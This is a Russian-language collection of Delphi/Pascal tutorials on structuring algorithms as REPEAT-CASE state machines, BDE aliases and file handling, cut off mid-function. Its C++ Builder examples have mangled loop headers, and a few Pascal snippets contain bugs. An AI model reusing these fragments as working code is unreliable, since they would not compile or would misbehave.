Однажды, еще в школе, на уроке алгебры, я в первый раз услышал о существовании формальных преобразований. Помнится это были (a+b) 2. Это было нечто! Меня поразила сама возможность выполнять ряд простых шагов и гарантированно получать правильный результат. Ну а уж потом были примеры из тригонометрии: четырехэтажные дроби с ужасным количеством синусов, косинусов и бесконечно длинными аргументами, которые путем небольшой игры ума сворачивались в робкое 1+sin(x), а то и просто в неприметную 1. С тех самых пор я весьма неравнодушен к формальным преобразованиям и стараюсь найти им применение в программировании. И, вы знаете, иногда получается! :-) Давным-давно, когда люди еще не придумали объектно-ориентированное программирование, модным направлением было программирование структурное. Шутки шутками, но в результате именно структурного подхода мы сейчас имеем Pascal и Delphi. Почему я говорю то Паскаль, то Дельфи? Просто потому, что лингвистическая основа Delphi - это Object Pascal, сильно выросший из детских штанишек, но все же узнаваемый. И новые объектно-ориентированные возможности и замечательные библиотеки классов в совокупности с CASE-средствами так и не скрыли полностью длинные уши структурного языка (и это замечательно!). Они вылезают то здесь, то там, в отдельных процедурах, в обработчиках событий... :-) Так вот, в те давние времена возникла следующая ситуация: "Сочинение" алгоритмов решения различных задач - процесс творческий, а творчество очень не любит каких-либо ограничений. Стало быть алгоритм может быть любым, сколь угодно запутанным, образующим петли и прочие нелинейности. (Особенно этим грешат процедуры, занимающиеся разного рода синтаксическим разбором.) Стандартный Паскаль имеет очень ограниченное количество структурных инструкций ( if-then-else, while-do и т.д., вы это лучше меня знаете...) А программу-то написать хочется! Что делать ? А нельзя ли как-нибудь "втиснуть" этот наш премудрый алгоритм в куцый набор инструкций? Можно! Причем используя вполне формальное преобразование. Вот этим мы сейчас и займемся. Но в начале - немного теории.Итак, структурное программирование учит нас, что есть 5 основных конструкций, из которых как из кубиков строится любая процедура:
SEQUENCE.
IF-THEN-ELSE WHILE-DO REPEAT-UNTIL CASE Историческая справка для любознательных. По этому поводу тоже было немало дебатов: сколько же структур действительно основных, а какие следует считать производными. Левые радикалы даже дошли до того, что основных структур только две: SEQUENCE и WHILE, а все остальные можно построить из них. Самое смешное, что это действительно так. Правда, размер текста программы при этом распухает неимоверно, но это уже детали... :-) В нашем запутанном алгоритме наверняка не все так ужасно, как кажется. Скорее всего, там можно найти несколько фрагментов, подходящих под определение чисто структурных конструкций. Вопрос лишь в том, как эти конструкции соединить между собой. А вот в этом как раз может помочь наша рабочая лошадка - непотопляемая конструкция REPEAT-CASE. При умелом применении эта нехитрая пара команд может "переварить" алгоритм любой сложности и запутанности. Главное, чтобы ВЫ четко представляли что делаете. Однако хватит нам ходить вокруг да около, не пора ли заняться делом?Предположим, у нас есть алгоритм следующего вида:
Хитрый ли он?
Да нет, конечно! Если приглядеться, он легко разбивается на 3 вложенные стандартные структуры:
repeat
while C1 do
B1;
if C2 then
B2
else
B3;
until C3;
И все! Очень красиво и компактно, спасибо большое дедушке Вирту.
Как было бы хорошо, если бы в жизни нам попадались только такие алгоритмы. Однако в таком случае, вам незачем было бы читать эту статью! :-).
А что вы скажете на это:
var
State: integer;
begin
State := 1; {для любого алгоритма}
repeat
case State of
...
end;
until State = 0; {тоже для любого алгоритма}
end;
Теперь пропишем ветки case .Не забудьте в конце каждой ветки
уточнить состояние: case State of
1:
begin
B1;
if C1 then
State := 2
else
State := 3
end;
2:
begin
B2;
if C2 then
State := 0
else
State := 3
end;
3:
begin
B3;
State := 1
end;
end;
Все! Программа готова. Идите и попробуйте, она работает. И с точки зрения логики Паскаля все безупречно - никаких тебе GOTO и прочих неприятностей.
Осознание.
А теперь, после того, как мы добились столь блестящего результата, давайте осознаем: что же мы сделали и что у нас получилось.Что сделали (или как все это назвать по-настоящему).
Мы изобразили наш алгоритм как блок-схему или, другими словами, направленный граф Затем провели инвариантное преобразование этого графа с выделением нескольких стационарных состояний программы - конечного автомата В результате получили новый граф, который легко укладывается в структурные конструкции Паскаля (Delphi)Что из это следует.
Проводя указанные действия несколько раз для разных алгоритмов, можно заметить, что на самом деле наши произвольно расставленные точки-состояния не такие уж случайные и произвольные. Как правило, при более глубоком рассмотрении вашего конкретного алгоритма можно найти каждому из этих состояний свое название. Это название может быть гораздо более выразительным, чем просто 1-2-3, поскольку это действительно состояния вашей программы. О чем я говорю? Пусть ваш алгоритм занимается, скажем, синтаксическим разбором HTML-файла. Тогда одно из состояний может звучать как "Обнаружен тэг BODY" или "Найден конец документа". Паскаль предлагает нам замечательное средство для работы с такими обозначениями в символическом виде и об этом средстве сейчас часто забывают. Программа из нашего примера может выглядеть так:
var
State: (START, EOF_found, Line_Added, DONE);
begin
State := START; {для любого алгоритма}
repeat
case State of
START:
begin
B1;
if C1 then
State := EOF_Found
else
State := Line_Added
end;
EOF_Found:
begin
B2;
if C2 then
State := DONE
else
State := Line_Added
end;
Line_Added:
begin
B3;
State := START
end;
end;
until State = DONE; {тоже для любого алгоритма}
end;
Замечательно, что Delphi все еще поддерживает эту спецификацию и даже показывает при отладке символьное представление состояния! Это очень удобно на практике. Спасибо, Borland!
Другое следствие.
Возможно вы, как и я, проделав подряд несколько таких преобразований и войдя во вкус, заметите, что стали мыслить при программировании чуть-чуть иначе. Иногда, особенно когда задача несколько запутана, хочется сразу выделить несколько важных состояний и строить обработчик уже вокруг них. Это правильное желание, ему стоит потакать. :-) Кстати, сейчас тема конечных автоматов вновь стала актуальной и то и дело мелькает на страницах компьютерных журналов.Небольшое исследование: крайние случаи.
Как сказал один мудрый человек, "Идея, доведенная до абсурда, часто превращается в свою противоположность". Давайте попробуем довести наш метод до крайней степени.
В нашем случае это означает добавление еще двух состояний - 4 и 5. Тогда программа примет вид:
case State of
1:
begin
B1;
State := 4
end;
2:
begin
B2;
State := 5
end;
3:
begin
B3;
State := 1
end;
4: if C1 then
State := 2
else
State := 3;
5: if C2 then
State := 0
else
State := 3;
end;
Хорошо это или плохо?
Хорошо, в том смысле, что даже при таком издевательстве программа не перестает работать правильно. С другой стороны, посмотрите на исходный код: где прозрачность, где легкость и ясность? Суть алгоритма растворена в сплошных переходах состояний и из-за этого теряется.
Нет, пожалуй этот вариант нам не подходит.
А что, если пойти в другую сторону и уменьшить число выделенных состояний? В нашем примере реально только исключить состояние 2.
(Да, я знаю, на блок-схеме двойка есть, но давайте пока ее не замечать, OK? :)
После "приведения подобных" программа будет иметь следующий вид:
case State of
1:
begin
B1;
State := 3;
if C1 then
begin
B2;
if C2 then
State := 0
end
end;
3:
begin
B3;
State := 1
end;
end;
(Если непонятно, то здесь формально получаются две ветки ELSE, ведущие обе к третьему состоянию. Если состояние вынести вверх, до условия, то программа получается короче. Впрочем, это - дело вкуса :)
Как вам этот вариант? Мне кажется он тоже имеет право на жизнь, хотя лично мне вариант с четырьмя состояниями нравится больше. Как-то он нагляднее показывает что куда переходит и при каких условиях. А вам? Предвижу возражения такого толка, что при подобном подходе программы будут иметь повышенную склонность к зацикливанию. И да и нет. Циклы вообще склонны к зацикливанию :-) особенно если написать что-нибудь вроде repeat until false;. Так на то и голова дана, чтобы карась не дремал!
А если серьезно, то устойчивость работы преобразованных таким образом программ прямо и недвусмысленно показывает, насколько удачно вы проработали исходную блок-схему и насколько аккуратно ее преобразовали. Поскольку на то оно и инвариантное преобразование, чтобы ничего не менять в смысле и логике программы, а затрагивать лишь ее внешнее представление.
Возможно кто-нибудь захочет поручить и само это преобразование программе, это мог бы быть компонент Delphi или отдельная утилита, этакий Diagram Automation Wizard. Если такое случится, мне бы очень хотелось посмотреть на результат.
И, наконец, мне нужно расставить точки над i.
Я ни в коей мере не претендую на авторство в данном формальном подходе, более того, все проблемы и решения, изложенные в этой статье, известны уже довольно давно. Моя цель была просто напомнить вам об одном красивом, но, боюсь, забытом подходе к программированию на Паскале и Delphi.
Псевдонимы.
Попробуйте следующий код:
var
theStrList: TStringList;
GPath: String;
begin
theStrList := TStringList.Create;
{Используем GetAliasParams для получения псевдонимов и ассоциированных с ними путей}
Session.GetAliasParams(<Здесь псевдоним из выпадающего списка>,theStrList);
{Удаляем первые шесть символов, которые всегда равны "PATH="}
GPath := copy(theStrList[0],6,length(theStrList[0]))
theStrList.Free;
end;
|
Информация о псевдонимах BDE.
var
MyAliasPath: string;
const
AliasName = 'MyAlias';
{**** Получаем из BDE путь MyAlias}
ParamsList := TStringList.Create;
try
with Session do
begin
Session.GetAliasNames(ParamsList);
Session.GetAliasParams(AliasName, ParamsList);
MyAliasPath := Copy(ParamsList[0], 6, 50) + '\';
end;
finally
ParamsList.Free;
end;
|
Я пользуюсь следующей функцией:
uses DbiProcs, DBiTypes;
function GetDataBaseDir(const Alias: string): string;
(* Возвращает каталог расположения базы данных по заданному псевдониму
(без обратного слеша) *)
var
sp: PChar;
Res: pDBDesc;
begin
try
New(Res);
sp := StrAlloc(length(Alias) + 1);
StrPCopy(sp, Alias);
if DbiGetDatabaseDesc(sp, Res) = 0 then
Result := StrPas(Res^.szPhyName)
else
Result := '';
finally
StrDispose(sp);
Dispose(Res);
end;
end;
|
Имитация псевдонима PdoxWIN PRIV.
Автор: Eryk Bottomley
var
d : TDataBase;
begin
d := TDataBase.Create(Application);
d.DataBaseName := 'PRIV';
d.DriverName := 'STANDARD';
d.Params.Add('PATH='+Session.PrivateDir);
d.Connected := True;
end;
|
...теперь вы имеете псевдоним с именем 'PRIV', указывающий на частный каталог.
Псевдоним на лету.
Попробуйте это:
type
TDataMod = class(TDataModule)
Database: TDatabase;
public
procedure TempAlias(NewAlias, NewDir: string);
end;
procedure TDataMod.TempAlias(NewAlias, NewDir: string);
begin
with Session do
if not IsAlias(NewAlias) then
begin
ConfigMode := cmSession; (* NewAlias будет ВРЕМЕННЫМ *)
try
AddStandardAlias(NewAlias, NewDir, 'PARADOX');
Database.Close;
Database.AliasName := NewAlias;
Database.Open;
finally
ConfigMode := cmAll;
end;
end;
end;
|
A) Поместите компонент Database на форму DataModule; b) Задайте свойству DatabaseName имя базы данных, например, 'TempDB'; c) Задайте свойству DatabaseName компонента TTable значение = 'TempDB' d) Для получения дополнительной информации ознакомьтесь с примером MastApp, поставляемым вместе с D2.
Разрешить длинные строки (более 32 кб).
Такие строки (более 32 кб) удобны для работы с памятью, или с большими файлами. Следующая программа шифрует (правда очень плохо) текст почти неограниченного размера.
implementation
{$R *.DFM}
{$LONGSTRINGS ON}
procedure TForm1.Button1Click(Sender: TObject);
var
F: TextFile;
i: integer;
s, buf: string;
begin
if OpenDialog1.Execute = false then
Exit;
AssignFile(F, OpenDialog1.FileName);
Reset(F);
while not EOF(F) do
begin
ReadLn(F, buf);
s := s + buf;
end;
Rewrite(F);
for i := 1 to Length(s) do
s[i] := chr(ord(s[i]) + 1);
for i := 1 to (Length(s) + 99) div 100 do
WriteLn(F, copy(s, (i - 1) * 100, 100));
CloseFile(F);
end;
|
Все о файлах.
Автор: Vit WEB-сайт: http://forum.vingrad.ru Текстовые файлы Текстовый файл отличается тем что он разбит на разные по длине строки, отделенные символами #13#10. Есть 2 основных метода работы с текстовыми файлами - старый паскалевский способ и через файловые потоки. У обоих есть преимущества и недостатки. Через потоки способ проще поэтому начнем с него. Итак у всех потомков класса TStrings (TStringList, memo.Lines и т.п. ) есть методы записи и чтения в файл - SaveToFile, LoadFromFile. Преимущество - простота использования и довольно высокая скорость, недостаток - читать и писать файл можно только целиком. Примеры:1. Загрузка текста из файла в Memo:
Memo1.lines.loadfromfile('c:\MyFile.txt');
2. Сохранение в файл:
Memo1.lines.savetoFile('c:\MyFile.txt');
3. А вот так можно прочитать весь файл в строку:
function ReadFromFile(FileName: string): string;
begin
with TStringList.create do
try
LoadFromFile(FileName);
result := text;
finally
Free;
end;
end;
Паскалевский метод доступа
Для более тонких операций над текстовыми файлами прийдется освоить очень древний паскалевский способ.
Итак, для доступа к текстовым файлам используется переменная типа TextFile. До сих пор не совсем понимаю что это такое физически - что-то типа "внутреннего" паскалевского Handle на файл.
Итак чтобы ассоциировать файл на диске с переменной надо проделать следующие опрерации:
1) Определяем файловую переменную:
var f: TextFile;
2) Ассоциируем ее:
AssignFile(F, 'c:\MyFile.txt');
3) Теперь надо этот файл открыть, есть 3 варианта:
файла нет или он должен быть перезаписан, открытие для записи: Rewrite(f) файл есть и его надо открыть для чтения (с первой строки): Reset(f) файл есть и его надо открыть для дописования строк в конец: Append(f)Как видите не хватает очень полезных функций таких как открытия файла для чтения с произвольной строки и для записи в файл произвольной строки. Но надо учесть, что так как длины строк разные, не существует никакого способа узнать физическое место начала например 1000 строки, не прочитав всю тысячу строк. Для записи ситуация еще сложнее - вставить строку означает перезаписать всю информацию после этой строки заново. Таким образом варианты только следующие:
Перезаписать весть файл Читать с первой строки Дописать что-то в конец Читать и писать файл целиком (см. выше работу через TStrings)В конце работы открытый файл нужно закрыть:
CloseFile(f);Теперь пусть у нас есть строковая переменная s для чтения строки из файла Чтение предварительно открытого файла: ReadLn(f, s) - будет прочитанна текущая строка и позиция чтения переведена на следующую позицию.
А как прочитать весь файл?
while not eof(f) do
begin
ReadLn(f, s);
{здесь делаем что-то с прочитанной строкой}
end;
Хорошо, а если файл несколько метров есть ли способ поставить какой-нибудь ProgressBar или Gauge чтобы показывал сколько считанно? Есть, но не совсем прямой - не забыли, сколько строк в файле заранее мы не знаем, узнать можно только прочитав его весь, но показометер мы все-таки сделаем:
var
Canceled: Boolean;
function GetFileSize(FIleName: string): integer;
var
f: file of Byte;
begin
try
AssignFile(f, FileName);
Reset(f);
result := filesize(F);
CloseFile(f);
except
result := -1;
end;
end;
procedure ReadMyFile;
var
i, j: integer;
begin
ProgressBar1.Max := GetFileSize('c:\MyFile.txt');
ProgressBar1.position := 0;
assignfile(f, 'c:\MyFile.txt');
Canceled := False;
reset(f);
i := 0;
j := 0;
while not eof(f) do
begin
inc(j);
readln(f, s);
i := i + length(s) + 2;
if (j mod 1000) = 0 then
begin
ProgressBar1.position := i;
Application.ProcessMessages;
if canceled then
break;
end;
{здесь мы что-то делаем с прочитанной строкой}
end;
CloseFile(f);
end;
Теперь комментарии к коду.
Функию GetFileSize я рсссмотрю после, она немного по другому подходит к чтению файла (кстати я знаю еще по крайней мере 3 способа ее реализации, поэтому не нужно указывать что это можно сделать легче, быстрее или просто по другому - просто давайте разберем это позже) Переменная i - все время указывает на количество байт которое мы считали - мы определяем длину каждой строки и прибавляем 2 (символы конца строки). Зная длину файла в байтах и сколько байт прочитано можно оценить и прогресс, но Если ставить изменение прогресса после каждой строки, то это очень сильно тормознет процесс. Поэтому вводим переменную j и обновляем прогресс например 1 раз на 1000 прочитанных строк Переменная Canceled - глобальная переменная. Поставьте на форму кнопку, в обработчике нажатия поставьте Canceled:=True; и нажатие кнопки прервет чтение файла. Теперь как писать в текстовый файл:Запись целой строки:
Writeln(f,s);Запись кусочка строки(те следующая операция записи будет произведена в ту же строку):
Write(f,s);
Если переменная s содержит больше 255 символов (т.е. является длинной строкой), то таким способом ни фига не запишится, в файл вместо строки попадут 4 байта указателя на нее. Надо делать так:
Writeln(f,pointer(s)^);Работа через WinAPI Раздел написан Podval (примеры к сожалению на С++)
Любителям WinAPI посвящается... Функции FileOpen, FileSeek, FileRead. Возьмем форму, положим на нее кнопку, грид и Опен диалог бокс. Это для Билдера, но какая нам в данном случае разница?
void __fastcall TForm1::Button1Click(TObject *Sender)
{
int iFileHandle;
int iFileLength;
int iBytesRead;
char *pszBuffer;
if (OpenDialog1->Execute())
{
try
{
iFileHandle = FileOpen(OpenDialog1->FileName, fmOpenRead);
iFileLength = FileSeek(iFileHandle,0,2);
FileSeek(iFileHandle,0,0);
pszBuffer = new char[iFileLength+1];
iBytesRead = FileRead(iFileHandle, pszBuffer, iFileLength);
FileClose(iFileHandle);
for (int i=0;iRowCount += 1;
StringGrid1->Cells[1][i+1] = pszBuffer[i];
StringGrid1->Cells[2][i+1] = IntToStr((int)pszBuffer[i]);
}
delete [] pszBuffer;
}
catch(...)
{
Application->MessageBox("Can't perform one of the following file operations:
Open, Seek, Read, Close.", "File Error", IDOK);
}
}
}
Потренируемся еще. Функции FileExists, RenameFile, FileCreate, FileWrite, FileClose. Бросим на форму Save dialog box.
#include
void __fastcall TForm1::Button1Click(TObject *Sender)
{
char szFileName[MAXFILE+4];
int iFileHandle;
int iLength;
if (SaveDialog1->Execute())
{
if (FileExists(SaveDialog1->FileName))
{
fnsplit(SaveDialog1->FileName.c_str(), 0, 0, szFileName, 0);
strcat(szFileName, ".BAK");
RenameFile(SaveDialog1->FileName, szFileName);
}
iFileHandle = FileCreate(SaveDialog1->FileName);
// Write out the number of rows and columns in the grid.
FileWrite(iFileHandle, (char*)&(StringGrid1->ColCount), sizeof
(StringGrid1->ColCount));
FileWrite(iFileHandle, (char*)&(StringGrid1->RowCount), sizeof
(StringGrid1->RowCount));
for (int x=0;xColCount;x++)
{
for (int y=0;yRowCount;y++)
{
// Write out the length of each string, followed by the string itself.
iLength = StringGrid1->Cells[x][y].Length();
FileWrite(iFileHandle, (char*)&iLength, sizeof
(iLength));
FileWrite(iFileHandle, StringGrid1->Cells[x][y].c_str(),
StringGrid1->Cells[x][y].Length());
}
}
FileClose(iFileHandle);
}
}
(с) Оба примера взяты из хелпа по Borland C++ Builder 5.
Дата/время файла.
extern PACKAGE int fastcall FileGetDate(int Handle); extern PACKAGE int fastcall FileSetDate(int Handle, int Age);Первоисточник тот же.
Атрибуты файла.
extern PACKAGE int __fastcall FileGetAttr(const AnsiString FileName); extern PACKAGE int fastcall FileSetAttr(const AnsiString FileName, int Attr);Может быть, такая функция полезна будет, хотя о программном поиске файлов и так много наговорено. Но на всякий случай, как говорится.
В этом примере идет поиск в текущем каталоге и каталоге Windows.
void __fastcall TForm1::Button1Click(TObject *Sender)
{
char buffer[256];
GetWindowsDirectory(buffer, sizeof(buffer));
AnsiString asFileName = FileSearch(Edit1->Text, GetCurrentDir() +
AnsiString(";") + AnsiString(buffer));
if (asFileName.IsEmpty())
ShowMessage(AnsiString("Couldn't find ") + Edit1->Text + ".");
else
ShowMessage(AnsiString("Found ") + asFileName + ".")
}
В дополнение к Дате/Времени.
extern PACKAGE int __fastcall FileAge(const AnsiString FileName);
Для конвертации возвращаемого значения в TDateTime:
extern PACKAGE int fastcall FileDateToDateTime(int FileDate);Типизированные файлы Теперь разберем типизированные файлы. Типизированный файл - это файл в котором записанны идентичные структуры. Например любой файл можно считать файлом байтов - т.е. можно его читать байт за байтом, можно перейти сразу к любому байту по его номеру, можно сразу узнать сколько байт в файле, можно заменить любой байт на другой не перезаписывая файл. Теперь все это в примерах:
Объявляем файл байтов:
var f: file of byte; b: Byte;
Ассоциируем файловую переменную с физическим файлом:
AssignFile(f,'c:\myfile.bin');
Теперь мы можем либо перезаписать/создать файл:
Rewrite(f);
Либо открыть существующий для чтения и записи:
Reset(f);Обратите внимание, что функция Reset хотя и имеет такой же формат как и для текстовых файлов, но открытый ей файл можно и читать и писать, в отличие от текстовых.
Теперь функции работы с файлом:
read(f,b); - прочитать 1 байт write(f,b); - записать 1 байт seek(f,100); - поставить текущее положение считывания/записи на сотый байт Size(f); - прочитать количество байт в файле. Eof(f); - узнать не являетсмя ли байт последнимВсе эти функции не работают с файлами большими 2 Gb.
После работы файл надо закрыть:
CloseFile(f);
Приведенные выше механизмы будут работать с любым файлом, так как любой файл можно считать файлом байтов. Теперь где это можно использовать? В принципе везде, но в подавляющем большинстве случаев это будет очень неудобно, ведь скорость считывания при чтении по байтам будет на порядки более низкой чем другими способами. Однако в некоторых случаях этот способ может быть очень полезен. Например в программе вам надо заменить 100й байт файла на другой, или прочитать 100й байт файла, например во всяких читерских программах, при взломе и т.п. Здесь такой доступ будет весьма удобен. Гораздо более интересным представляется дальнейшее развитие технологии типизированных файлов (их еще лет 15 назад называли "Файлы прямого доступа"). Представим себе, что файл состоит не из байт а из более сложных структур. Например мы имеем некоторую информацию в виде:
type
MyRec = record
Name: string[100];
Age: byte;
Membership: Boolean;
Accounts: array[1..10] of integer;
end;
Обратите внимание, что все элементы записи точно типизированны, нет ни длинных строк, ни открытых массивов, ни объектов, другими словами, заранее точно известно сколько именно байт будет занимать переменная этого типа. Объявим переменную этого типа:
var MyVar: MyRec;
И файл этого типа:
var f: File of MyRec;
Теперь мы можем читать и писать сразу целую структуру, абсолютно так же как и если бы это был один байт:
AssignFile(f, 'c:\MyFile.rec'); Rewrite(f); MyVar.Name := 'Vitaly'; MyVar.Age := 33; MyVar.Membership := True; MyVar.Accounts[1] := 12345; MyVar.Accounts[2] := 34985; Write(f, MyVar); Closefile(f);Все остальные функции приведенные в предыдущей статье будут работать так же, только одно отличие - Seek и Size оперируют не с количеством байт, а с количеством записей. Нетипизированные файлы
Идем дальше. Есть такое понятие как нетипизированный файл. Это такой файл который содержит разнородные элементы. Например файл EXE - вначале он имеет заголовок, затем двоичный код, в конце какие-то ресурсы. Все части файла имеют разную длину и разную структуру. Тут уже обратится к произвольному элементу сложно, обычно надо вначале узнать где этот элемент находится, подчас это записано в предыдущем куске информации. Работа с такими файлами достаточно сложна и требует вручную разработки алгоритмов его чтения, но в связи гибкостью структуры и компактностью такие файлы составляют большинство. Для работы с нетипизированными файлами используют процедуры BlockRead и BlockWrite, которые позволяют читать/писать произвольное количество байт. Привожу пример пользования этими функциями из справки по Дельфи:
var
FromF, ToF: file;
NumRead, NumWritten: Integer;
Buf: array[1..2048] of Char;
begin
if OpenDialog1.Execute then { Display Open dialog box }
begin
AssignFile(FromF, OpenDialog1.FileName);
Reset(FromF, 1); { Record size = 1 }
if SaveDialog1.Execute then { Display Save dialog box}
begin
AssignFile(ToF, SaveDialog1.FileName); { Open output file }
Rewrite(ToF, 1); { Record size = 1 }
Canvas.TextOut(10, 10, 'Copying ' + IntToStr(FileSize(FromF)) +
' bytes...');
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
CloseFile(FromF);
CloseFile(ToF);
end;
end;
end;
Этот код копирует из одного файла в другой. Замечания по поводу этого метода работы с файлами - плюсы - очень высокая скорость, особенно если размер буффера увеличить до 64kb-512kb, что позволит считывать файл достаточно большими кусками, чтобы обеспечить отсутствие простоев винчестера, к тому же обеспечивается очень высокая гибкость в работе. Минусы - сложность разработки, необходимость вручную писать все детали механизма чтения/записи и интерпретации данных.
Пожалуй на этом можно было бы и завершить описание работы с файлами средствами Паскаля и файловых переменных, но заглянув в Help Дельфей я обнаружил еще несколько функций достойных упоминания.
Erase(f) - удаляет файл FilePos(f) - возвращает текущую позицию чтения/записи в файл Flush(f) - сбрасывает кэшированные файловые операции на диск Rename(f, 'MyNewFileName.txt') - переименование файлов Truncate(f) - файл обрезается до текущей позиции чтения/записиФайловые потоки Теперь разберем возможности работы потомка TStream - TFileStream - файловый поток. Этот класс был специально введен для работы с файлами. Для работы с файловым потоком Вам надо записать в Uses модули classes, Sysutils (classes - включает в себя собственно определение класса, Sysutils - некоторые константы необходимые для работы).
Вот пример записи/перезаписи файла:
procedure WriteFileUsingStream(s, FileName: string);
begin
with TFileStream.create(FileName, fmCreate or fmOpenWrite) do
try
write(pointer(s)^, length(s));
finally
free;
end;
end;
Теперь небольшой разбор:
TFileStream.create - конструктор класса, его вызов требует указания имени файла и опций его открытия, следующие опции определены:
fmCreate = $FFFF; fmOpenRead = $0000; fmOpenWrite = $0001; fmOpenReadWrite = $0002; fmShareCompat = $0000; fmShareExclusive = $0010; fmShareDenyWrite = $0020; fmShareDenyRead = $0030; fmShareDenyNone = $0040;Теперь метод Write - этим методом в файл пишется любая информация из буфера любого типа, Вам надо указать только буффер и количество записываемых байтов. В данном случае используется переменная типа String в качестве буффера, но так как для длинных строк она представляет собой лишь указатель, то конструкция "pointer(s)^" заставляет обращаться именно к ее содержимому.
А вот этот код демонстрирует чтение файла с использованием файлового потока:
var
p: PChar;
begin
GetMem(p, 255);
with TFileStream.create('c:\myText.txt', fmOpenReadWrite) do
try
Seek(10, soFromBeginning);
read(p^, 254);
finally
free;
end;
showmessage(p);
FreeMem(p);
end;
И пояснения к коду:
Никаких проверок длину файла и его наличие здесь не делается - это демонстрационный код, а не готовая процедура чтения. Файл мы считываем в буффер типа PChar (с тем же успехом можно использовать массив или любой другой контейнер). Для тех кто не помнит - процедуры GetMem(p, 255) и FreeMem(p) - распределение памяти для строки и освобождение памяти. Метод потока Seek позволяет установить текущую позицию считывания/записи файла. Первый параметер - номер байта, второй - это от чего считать этот байт (у нас считать от начала файла), возможны варианты: soFromBeginning - от начала файла soFromCurrent - от текущей позиции считывания soFromEnd - от конца файла (в этом случае номер байта должен быть отрицательным или равным нулю) Собственно считывание из потока осуществляется методом read, в котором указывается в качестве параметров буфер в который мы читаем и желаемое количество байт для чтения. Метод read является функцией, которая возвращает количество байт реально прочитанных из потока. Заканчивая о файловых потоках хочу упомянуть о методе CopyFrom который позволяет перекачивать информацию из одного потока в другой и о свойствах: Size - размер файла Position - текущая позиция чтения/записи потока Работа с файловыми потоками весьма быстра, этот класс, являсь классом VCL, в то же время базируется на низкоуровневых функциях Windows, что обеспечивает очень высокую скорость работы и стабильность операций. К тому же многие компоненты и классы VCL поддерживаю прямое чтение и запись с файловыми потоками, что занчительно упрощает работу - например TStringList, TBlobField, TMemoField и другие. Файловые потоки могут быть рекомендованы к использованию в большинстве случаев для чтения и записи файлов (за исключением специфических ситуаций, требующих каких-то других подходов), другими словами если вам надо просто записать или считать файл, используйте файловые потоки. Работа через Handle Еще один способ работы с файлами - это открытие Handle на файл и работу через него. Тут есть 2 варианта - можно использовать функции Дельфи или использовать WinAPI напрямую. При использовании функций Дельфи можно применять следующие функции: FileOpen(FileName, fmOpenWrite or fmShareDenyNone) - функция открывает файл и возвращает целое цисло - Handle на файл. Параметры функции - имя файла и тип доступа (все типы доступа я перечислил ранее). Если файл успешно открыт то Handle должен быть положительным цислом, отрицательное число - это код ошибки. Во всех остальных функциях используется именно значение Handle, возвращаемое этой функцией. FileClose(Handle: Integer) - закрывает файл FileRead(Handle: Integer; var Buffer; Count: Integer): Integer; FileWrite(Handle: Integer; const Buffer; Count: Integer): Integer; Эти функции для чтения/записи файла, где Buffer любая переменная достаточного размера для чтения/записи куска информации (обычно типа PChar или массив), Count-количество байт, которое Вы желаете записать/прочитать. Функции возвращают количество байт которые реально были прочитанны или записаны. Этот тип доступа к файлам применяется весьма редко. Дело в том что он практически дублирует соответствующие функции WinAPI и к тому же обычно работает несколько медленнее, чем например потоки. И все же использование функций FileOpen и FileClose не лишено привлекательности. Наряду с тем что эти функции намного легче в использовании соответствующих функций WinAPI (можете сравнить - FileOpen имеет 2 параметра, соответствующая функция WinAPI - CreateFile имеет 7 параметров, большая часть из которых реально требуется лишь в ограниченном числе случаев) этот путь доступа открывает возможность прямого использования всех функций WinAPI про работе с файлами, которые требуют Handle на открытый файл. Файловые операции Дельфи предоставляет довольно широкие возможности по файловым операциям без использования механизмов открытия/закрытия файлов. Вот список наиболее употребимых функций, большинство из которых в фачкстве параметров нуждаются только в имени файла: ChDir(NewCurrentPath: string); - изменяет текущий каталог (в среде Windows сие конечно не так актуально как в ДОС, но все же), прочитать же текущий каталог можно функцией GetCurrentDir, а текущий каталог для определенного драйва - GetDir. CreateDir(const Dir: string): Boolean; - создает каталог. При этом предыдущий уровень должен присутствовать. Если вы хотите сразу создать всю вложенность каталогов используйте функцию ForceDirectories(Dir: string): Boolean; Обе функции возвращают True если каталог создан DiskFree(Drive: Byte): Int64; - дает свободное место на диске. Параметер - номер диска 0 = текущий, 1 = A, 2 = B, и так далее DiskSize(Drive: Byte): Int64; - размер винта. Обратите внимание на то что для результата этой и предыдущей функций абсолютно необходимо использовать переменную типа Int64, иначе макимум того что вы сможете прочитать правильно будет ограничен 2Gb FileExists(const FileName: string) - применяется для проверки наличия файлаFileGetAttr(const FileName: string): Integer; FileSetAttr(const FileName: string; Attr: Integer): Integer; - функции для работы с атрибутами файлов. Вот список возможных атрибутов:
faReadOnly $00000001 Read-only files faHidden $00000002 Hidden files faSysFile $00000004 System files faVolumeID $00000008 Volume ID files faDirectory $00000010 Directory files faArchive $00000020 Archive files faAnyFile $0000003F Any file (Естественно не все атрибуты применимы во всех случаях)RemoveDir(const Dir: string): Boolean; - удаляет папку(пустую) DeleteFile(const FileName: string): Boolean; - удаляет файл RenameFile(const OldName, NewName: string) - переименовывает файл Информация о файле
Привожу пример функции которая собирает довольно большое количество информации о выбранном файле:
type
TFileInfo = record
Exists: boolean; //true если файл найден
Name: string; //имя файла с расширением
ShortName: string; //DOS 8.3 имя файла
NameNoExt: string; //имя файла без расширения
Extension: string; //расширение файла
AssociatedFile: string; //программа с которой ассоциирован файл
Path: string; // путь к файлу
ShortPath: string; // DOS 8.3 путь файла
Drive: string; // дисковод на котором находится файл
CreateDate: TDateTime; //время когда файл создан
Size: Int64; // размер файла (работает для файлов и больше 2Gb)
Attributes: record //нали?ие/отсутствие системных атрибутов
ReadOnly: boolean;
Hidden: boolean;
System: boolean;
Archive: boolean;
end;
ModifyDate: TDateTime; // время последнего изменения файла
LastAccessDate: TDateTime; // дата последнего открытия файла
end;
function ReadFileInfo(FileName: string): TFileInfo;
var
ts: TSearchRec;
function FileTime2DateTime(FT: _FileTime): TDateTime;
var
FileTime: _SystemTime;
begin
FileTimeToLocalFileTime(FT, FT);
FileTimeToSystemTime(FT, FileTime);
Result := EncodeDate(FileTime.wYear, FileTime.wMonth, FileTime.wDay) +
EncodeTime(FileTime.wHour, FileTime.wMinute, FileTime.wSecond,
FileTime.wMilliseconds);
end;
function AssociatedFile(FileExt: string): string;
var
key: string;
begin
with TRegistry.create do
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey(FileExt, false);
Key := ReadString('');
CloseKey;
OpenKey(key + '\Shell\open\command', false);
result := ReadString('');
Closekey;
finally
free;
end
end;
begin
Result.Name := ExtractFileName(FileName);
